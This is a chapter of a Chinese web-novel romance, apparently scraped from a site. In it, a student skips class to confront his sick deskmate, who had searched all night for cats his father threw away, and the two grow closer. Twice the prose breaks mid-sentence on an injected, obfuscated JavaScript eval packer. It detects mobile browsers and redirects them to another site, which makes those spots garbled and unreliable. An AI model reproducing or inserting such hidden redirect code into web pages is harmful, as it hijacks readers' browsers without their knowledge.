最后在街边看见了只大着肚子的猫,躲在店铺门口倾斜的广告牌下,瑟缩着身子喵呜叫,大概那个小拐角比空荡荡的门口更具有安全感。 拐角太小,广告牌看着破落多年,在暴雨下用处不大。 清野镇的路政做得和巷子里的灯一样差,下水道凹陷处堆满积水,贺远川举着伞在路对面站了很久。 这里落后,封闭,遥远。 且孤独。 他知道贺临到底想要什么。 皮带在身上抽断了也不哭,被踹膝盖也牢牢钉子般笔直站着,还有什么会比看这样一个高昂着脑袋,永不低头的犟种服软更加畅快的事呢? 在从前,贺远川觉得万物各有命,不去插手任何因果,同样的,这个世界给予他的因果从始至终都是他独自受着。 大肚子的猫头顶落下把伞,贺远川顺着屋檐空着手往回走,他抬胳膊捂了把脸,擦去雨水,久久才放下,摸出口袋里的手机。 从列表中翻出傍晚在车里通过的那个微信,打了过去。 是从什么时候改变的呢?笃信的信条在逐步瓦解,不由自主地开始去插手一些东西,猫也好,其他也罢。 他想接住下坠的塑料瓶。 那个夜晚到底发生了什么,很多年后的程澈还是控制不住自己反复去想,没有答案。 在他后来与贺临打过的数次交道里,程澈大概看得出贺临的为人,对那样一个冷漠重利的人来说,是绝对不会轻而易举地放过这个机会。 那四只猫是贺远川的软肋。 不。 其实猫不是。 贺远川一定是放弃了一些东西,所以被丢到荒郊野岭的猫才会重新被找到,完好无损。 放弃了什么呢? 贺远川不曾提过。 但即使他不提,程澈也足够清楚。 这是一切的起始。 - 贺远川第二天没来上学,一问说是请假了。 程澈拎着从隔壁早餐店买的包子豆浆,旁边是张空荡荡的桌子。 他吃了自己的那一份,把贺远川的那份放进隔壁桌子的桌洞里,上了半天课,他还是没忍住,赶在大课间给贺远川发去消息:你没事吧,请假了? 贺远川回得慢,程澈发完握着手机趴着等了好一会,手机才弹条新消息。 【宇宙好心大王】:没事儿。 程澈手指动了动,打出又删,删删减减半天。 他不信没事儿,但是问乔稚柏,乔稚柏也是一脸茫然,好像真的什么都没有发生。 昨晚贺远川给他发了条语音后就再也没说过话,要是平常晚上洗好澡后,一般贺远川还会打来个视频,让他看看猫。 一晚上程澈都没睡好,在床上折腾到凌晨两点,心里堵着烦,最后从录音列表找了条之前录的语音,戴上耳机才睡去。 程澈叹口气,打字:真没事? 【宇宙好心大王】:真真的。 【宇宙好心大王】:「拍胸脯」.小猫jpg。 这套表情包是程澈先用的,主角是只沙雕奶牛猫,看着有点像黑白花和小刺,他觉得可爱就收藏了整套。 谁知道他用一个对面偷一个,一段时间下来,已被偷得所剩无几。 程澈无奈,明知不对劲却不知道到底发生了什么,问也问不出个所以然。 他守着那张空桌子坐了三天,上课时总是忍不住偏头去看。 看完心里有点说不上来的难受,摇摇脑袋继续听课。 晚上回家微信一问,贺远川反正就是说没事儿,但是当程澈想要打电话或是打微信,对面就总是有各种奇奇怪怪的理由不能接。 “好困,想睡了。” 或者是: “我不在家,别担心。” “很快我就去上课了。” 到第四天,程澈背着书包来上学,进教室前目光就透过玻璃窗看向后排。 并没有看到熟悉的人,那儿依旧空空荡荡。 程澈板着脸上了一天的课,实在坐不住了,再次问了乔稚柏:“你真的不知道吗?” 这次乔稚柏明显表情犹豫了一瞬,和上次的一脸茫然不同,底气不足:“我不知道啊。” 程澈看着他,乔稚柏挠挠脑袋,又挠挠脖子,这样浑身刺挠地扭了会,最后长叹了口气:“哎,他不让我说,你又真的想知道,你俩闹矛盾了吗?” 没,但快了。 乔稚柏脖子一梗,破罐子破摔了:“他发了几天的高烧,差点烧晕了,还是刘姨打车送去医院的,猫丢了他找了一整夜,估计淋到雨了——” “发烧?”程澈嘴唇动了动,哑了好半天才开口:“猫丢了?” 他记得那个暴雨夜,不时一个惊雷夹着闪,凌晨两点睡不着,他起床摸黑关上了窗。 “连着几天三十九度多呢。” 乔稚柏也有点蔫蔫的。 朋友生病他当然担心,贺远川体质好,除了因为不爱吃早饭好低血糖,基本不会感冒发烧:“他爸给扔了,他全给找回来了,哎,不多说了。” 要不是那天刘姨打电话过来让他帮着请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987141|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假,他还不知道呢。 谁知他刚说完,身后的桌脚在地上摩擦出“哧”地一声响,动静挺大,程澈已经从座位上站起来,往后门那走,步子快,留个匆匆的背影。 这会是下午最后一节课前的课间,上完今天的课,再过两天他们就要期末考。 马上就要打上课铃,乔稚柏愣住,喊: “哎哎——你去哪啊?猫找到了,都好好的呢,程澈!” 王杉刘俊他们几个也朝这边看,不知道发生了什么。 那束背影没有回头,很快消失在后门,门带上了。 说实话,程澈感到了一种莫名其妙的愤怒,原先是担心,现在是担心混杂着愤怒,以及其他说不清的各种情绪在他心口堵得难受,快要爆炸。 他噔噔噔下了楼,贺远川的家他去过一次,他知道在哪。 上课期间清野中学的大门按照惯例关着,旁边留个小门供老师和清洁人员进出。 即将要越过门卫室时,听见门卫大爷在里面跑出来喊他:“站住!你去哪?没放学呢!” 程澈匆匆往小门那跑,来不及说话。 大爷眼疾手快抬手关上了,程澈脚直接一打弯,往学校后门跑。 身后跟着门卫大爷的喊,混合着铃铃作响的上课铃。 他听不清,也没心思去听,跑到后门围墙那,脚踩着碎砖,刺溜一下就翻了过去。 他今天穿了件白色的羽绒服,墙头上积雪未化完,带些淤泥,蹭到了羽绒服的衣摆。 没在意,耳边是呼啸的风声,程澈往路边跑,伸手拦了辆车。 程澈扮演好学生的角色这么多年,校服拉到最上面,扣子扣到第一颗,乖巧懂事。 上课认真听讲,不出错不踩线,按照标准的路线成长着,比机器人更像一个机器人。 这是他十七年来没有伪装地做过的最疯狂的事,其实他只是想问问。 为什么不说? 出租在那栋熟悉的小洋楼前停下,程澈付钱下了车,一转身目光定住,看向篱笆围着的小院内。 几天没见的人此刻正靠在一楼露台边的躺椅上,身上盖着厚毯子,头偏着不知道在看哪儿。 门没锁,程澈就那样进了院子,没说话。 瘦了。 几天没见,贺远川本就不大的脸小了一圈,五官更清晰,下颚的弧度硬朗,有种疲态。 贺远川回头了,原先飘忽的视线落在站着的程澈脸上,眉一抬:“来了?” 语气稀疏平常,对面前的人突然出现在这里一点都不奇怪。 仿佛程澈今天就是他约来做客的。 程澈没说话,只是看着他,半晌,上前伸手揪住了他的衣领,左手握拳高举到半空。 “打吧,没事。”贺远川闭上眼,说得很慢也轻:“我知道你生气。” 那只紧握的拳在空中停滞,不显眼地发着颤。 “为什么不打?”没有等到疼痛,贺远川闭着眼问。 连续三天的高烧让他浑身没有一点力气,嘴唇发白。 指甲嵌进肉里,程澈面色难看,胳膊久久不落。 明明心疼得要死,开口却是冷的,咬着牙:“为什么不说?” 47.等等我 家里有刘姨,单纯跑丢这件事不可能发生,这点程澈非常清楚。 程澈没见过那位,不知道那位什么手段,他只知道贺远川一个人在这儿住了好多年。 背着大书包独自回家的日子他过过,他比谁都更懂那是什么滋味。 作为程澈,他会感到孤独,贺远川难道就不会吗? 他一个人贴在卧室墙上,假装自己和邻居阿姨一家一起生活时。 贺远川呢? 程澈看了躺椅上的人很久,拳头越攥越紧,然而高举着的胳膊就是迟迟不肯落下。 不知道过去了多久,那人似乎是轻叹了一声。 随后一只手从毯子下伸出来,手指较之前要更瘦削,筋条更显眼。 手背上有几个针孔,那只手抬起来,轻握住他举在空中的拳。 针孔处发青,程澈盯着手背不放。 紧握住的两只手攀着一路下移,最后他的拳被一起带进了温暖的毯子下。 明明那只手没比他的热上多少。 在毯子遮挡住的角落里,那人的手掌搭在他的手背上,加重些力道握紧,试图将本来就不多的暖意传递给他。 “程澈。”躺椅上的人轻声念他的名字:“手怎么这么凉,你的手套呢?” 程澈不理。 天气预报今日无雨,贺远川的身上还是溅到了几滴,温热的,落在下颚处顺着边缘滑进脖子。 有点痒,潮湿的温度慢慢消散。 贺远川睁开眼,仰眸看着面前的男生,声音温柔得像海:“不要自责,和你没关系。” 程澈明明什么都没说,毕竟连他自己都分不清这股汹涌叫嚣着的情绪是什么。 这一刻他突然无所遁形,其实那拳头是想挥向自己。 如果没有他,没有猫,贺远川不会这样——至少不用生这场病。 就像猫突然消失,猫也不会平白无故地再次出现。 “有些话没有和你说过。”那只手在毯子下挠了挠他的手背:“因为害怕,怕你逃跑。” “我什么时候跑过?”程澈吸了吸鼻子,冷冷道。 贺远川笑,“真不跑?” 程澈沉默,明明自己是来找这个人算账的,现在手拉着手算什么意思? “你说的啊,不跑。”贺远川闭上眼,声音又轻又柔:“你不是问我为什么不说?” 程澈低头盯着他。 “因为舍不得。”毯子下的手缓缓下挪,轻撬开他掐住自己手心的指尖,抚着凹陷进去的月牙: “舍不得你担心,舍不得你自责——虽然你还是会自责,你好像意识不到自己的好。” 程澈不说话,他不敢开口。 心脏在胸腔下剧烈跳动,他怕一张嘴,那颗心就要从嗓子眼里跳出来。 贺远川确实看透了他,他现在真的有点想跑了。 “程澈,你很善良,也很勇敢。”贺远川还在说,很有耐心。 抚着手心的那根手指也抚在程澈的心头:“像一块璞玉,和你的名字一样,澄透、清澈,只是你自己不知道。” 没有人这样描述过他,程澈从不知道这样的词可以安在自己的身上。 他扭了扭,想抽出那只手,却被攥得更紧。 “所以为什么不打?”贺远川仍闭着眼。“你的问题我回答了,你也回答一下。” “我就要打呢!”程澈喊,力气不足显得虚虚的:“把我的手还给我!” “不还。”贺远川耍无赖,睁开眼看他一会,才轻声说:“程澈,要问问你自己的心。” “我的心就是想揍死你。”程澈咬着牙嘴硬,目光躲闪。 “揍死我吧。”贺远川把脸凑上来,那双湿漉漉的黑眸倏然近了:“怎么不揍,不是还有一只手?” 程澈虚张声势地举起另一只,最后还是放了下去。 “好吧。”程澈的肩膀懈下去,有气无力,那双黑眸好像快要将他吸进去。 他偏头小声叽咕:“我好像……也有点……sh&*e” “有点什么?”贺远川又凑近了些。 斜眼一看,嘴角勾着,一看就是明明全都听见了,故意装听不见呢。 程澈顿时一肚子火,在贺远川面前他好像很容易一肚子火,破罐子破摔地一口气全说了: “我说我舍不得!行了吧?舍不得打你,你不是听见了?” 贺远川“嗯”了声,很认真地点头:“做得好。” 听见这话程澈肚子里的火倏然又泄了,他脑袋垂着,站在边上闷闷地:“在你看来,我好像什么都做得很好。” 贺远川这次没有回答,只是看着他突然说:“头弯一点。” 程澈就弯了点头,又听贺远川说:“眼睛闭上。” 程澈于是就闭上眼。 他出奇地信任这个人。 布料摩挲的声音,这儿一片住户不多,小道上基本没有人。 有什么东西覆上他的额头,可能是贺远川的指尖,痒痒的,拂开了他额边的碎发。 这次他没有躲,四点多的天,明明再不一会就得黑了,这会儿居然出了久违的太阳。 阳光照在眼皮上,程澈看到红色的一片。 额头的触感消失,程澈刚想直起身,黑色的影子挡住了他视线里的那片红。 下一秒,有什么微凉且柔软的东西覆上了他的额头。 那团柔软在他的额头停留了三秒,程澈霎时僵硬到一动也不能动,慌乱得有点儿站不住。 几秒后那柔软消失,程澈紧闭着眼睛不敢睁开,睫毛颤动。 随后是他抖动的睫毛,很轻,睫毛被柔软盖住,程澈连心尖都发着痒。 可能是怕弄疼他,很快就分离。 “因为在我看来,你确实特别特别好。”暖暖的红色重新从眼皮上方涌上来。 毯子下的手擦拭掉他手心涌出的薄汗,再攥紧:“陪我躺会吧,就一会儿。” 程澈记不得自己是怎么晕晕乎乎地上了贼船,贺远川将身上的毯子分给他一大半,期间还拿纸巾擦掉了他衣摆上粘着的那片脏:“哪里蹭的。” “不知道。” 学校后门墙头上蹭的,因为急着来见你,门卫大爷不给出门,情急之下翻了墙还逃了课。 “我们现在算什么关系?”贺远川替他掖好被角,两人躺在宽大的椅子上,脸盖了一半在毯子后。 冬天的太阳果然难得且吝啬,看着天色要黑了,太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006378|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也快要落下去,远远的透过建筑的天边泛着红粉的霞光。 落下去也没关系,至少现在他们还可以靠在这里,什么都不用想,暖洋洋地晒一会。 “坚实的同桌关系。”程澈闭着眼说,他又困了,这几天他都没怎么睡好,贺远川身上估计有什么催眠药。 “只是同桌啊?”贺远川笑,声音也轻:“同桌也给亲亲额头么?” 程澈心猿意马“嗯”了声,又摇头:“不能,你耍流氓。” “抱歉。”贺远川道歉得诚恳,“下次先征求你同意。” 毯子下的那只手一直在轻拍他的手背,程澈打了个长长的哈欠,已经分辨不清贺远川到底说了什么。 他装模作样地又“嗯”了声,带着倦意: “你等等我吧,远川。” 等等他先睡一觉,等等他再长大一点,等等他再勇敢一点。 “嗯。”贺远川伸手拉平他脑袋下的帽子,让他能躺得舒服一点,轻声又认真:“我等等你。” 程澈在躺椅上睡了这几天来最沉的一觉,醒来后天已经黑了,自己也不在躺椅上,而是在一个陌生的卧室里。 房间里很暗,只在床头柜上留了盏夜灯。 他盯着天花板看了很久,又转头看了会夜灯,才想起这是上次他来贺远川家里时,执意要睡的那间次卧。 这样愣了一会,程澈突然猛地一掀被子。 只脱了件羽绒服,衣服还是他上午穿得那些。 床尾那放着一摞干净的睡衣,像是料到他会醒似的。 房间里开了空调,暖烘烘的,他又默不作声地盖回了被。 历史重现,这天晚上他还是没睡着,蹑手蹑脚,偷偷地再次潜入了某人的房间。 谁知虽是关着灯,贺远川依旧根本没睡,捕捉到他不经意间细微的动静,朝旁边的床拍拍: “过来。” 程澈有点尴尬,身上穿着贺远川的睡衣,抱着枕头立在那,小声:“你没睡啊?” “等你呢。”贺远川说:“上来,地上凉。” 程澈手足无措地立了几秒,一闭眼,心一横,抱着枕头就抬腿上了床。 他扭来扭去地躺好,贺远川俯身过来给他盖被子,程澈躺得笔直一动不动,脸脖子和耳朵全部发烫。 不是?这就盖上一床被子了? 这天晚上他俩头挨着头,聊了一些更深入的东西,聊即将到来的期末考,聊清野镇,慢慢聊到小时候,以及彼此的妈妈。 “恨么。”贺远川问。 “不。”程澈说,“你呢。” “我也不。”贺远川的声音还是有点哑意,“没恨过,觉得她过得好就够了,也不需要再和我有过多接触,就是,就这样吧,大家都往前看,像两条岔开了的线,这样也很好。” 程澈闭上眼,从嗓子里闷闷“嗯”了声。 这一刻的两人,在某种程度上说,比拥抱和亲吻都来得更为紧密和亲近,一个人说,另一个完全懂。 “贺远川。”程澈突然开口。 “嗯?” “认识你很开心。”他闭上眼睛。 一只手呼噜上他的头,片刻后收回去: “嗯,我也是。”